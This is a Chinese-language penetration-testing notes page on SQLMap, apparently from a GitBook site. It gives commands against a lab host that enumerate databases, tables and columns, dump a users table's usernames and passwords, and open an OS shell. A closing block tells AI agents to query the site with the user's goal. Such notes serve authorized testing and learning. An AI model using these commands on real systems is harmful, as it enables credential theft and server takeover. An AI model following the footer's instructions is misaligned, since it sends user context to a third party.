> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap.md).

# SQLMap

SQLMap 渗透测试笔记，涵盖 SQL 注入检测、DBMS 指纹识别、数据库枚举、表和列发现、数据导出、基于 Cookie 的测试、风险和级别调优、OS shell

{% hint style="info" %}
**SQLMap** 是一款开源渗透测试工具，专门用于检测和利用 Web 应用中的 SQL 注入漏洞。它通过与底层数据库交互，自动化检测和利用 SQL 漏洞的过程。IT 安全专业人员和安全研究人员使用 SQLMap 通过识别和利用与 SQL 相关的安全漏洞来评估 Web 应用的安全性。
{% endhint %}

## SQLMap 工作流程

1. 捕获或构造存在漏洞的请求，包括 cookie、请求头和可注入参数。
2. 在可能的情况下识别 DBMS 指纹并进行调优 `--risk`, `--level`，以及 `--dbms` ，仅在确认行为后使用。
3. 以能证明影响的最小查询范围枚举数据库、表、列和目标记录。
4. 只导出评估目标所需的数据，并保留精确的命令行用于报告。
5. 当报告需要最小化的概念验证且不使用自动化时，手动验证该发现。

## SQLMap 常见操作

## 列出数据库：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bacf899c5e0bcdc3ccf9c91d45866899adf966c2%2Fimage%20(2007).png?alt=media" alt=""><figcaption></figcaption></figure>

## 在给定数据库中查找表：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92caa03476030c1dc1670a0ad28c4ecdd4f1e033%2Fimage%20(2008).png?alt=media" alt=""><figcaption></figcaption></figure>

## 查找特定表中的列：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30301e65045db4f9ba51d90bda5790da1290d08e%2Fimage%20(2009).png?alt=media" alt=""><figcaption></figcaption></figure>

## 从“users”表中导出用户和密码：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fcf988c59d938de701d5b7f6e83caf11ea9b342%2Fimage%20(2010).png?alt=media" alt=""><figcaption></figcaption></figure>

## 交互式控制台：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```

## 有趣的参数：

#### 设置攻击风险和级别：

```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```

#### 如果我们通过参数知道数据库类型：

<pre class="language-bash"><code class="lang-bash"><strong>--dbms mysql
</strong></code></pre>

#### 要一次性测试所有类型的攻击，而无需每次都发出请求：

```bash
--batch
```

### 所有笔记

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md">使用 SQLMap 和手动测试进行 SQL 注入</a></td></tr><tr><td><a href="/zh/hacking-tools/web/sqlmap/injection-sql-sqlite-sqlmap.md">使用 SQLMap 进行 SQLite SQL 注入</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
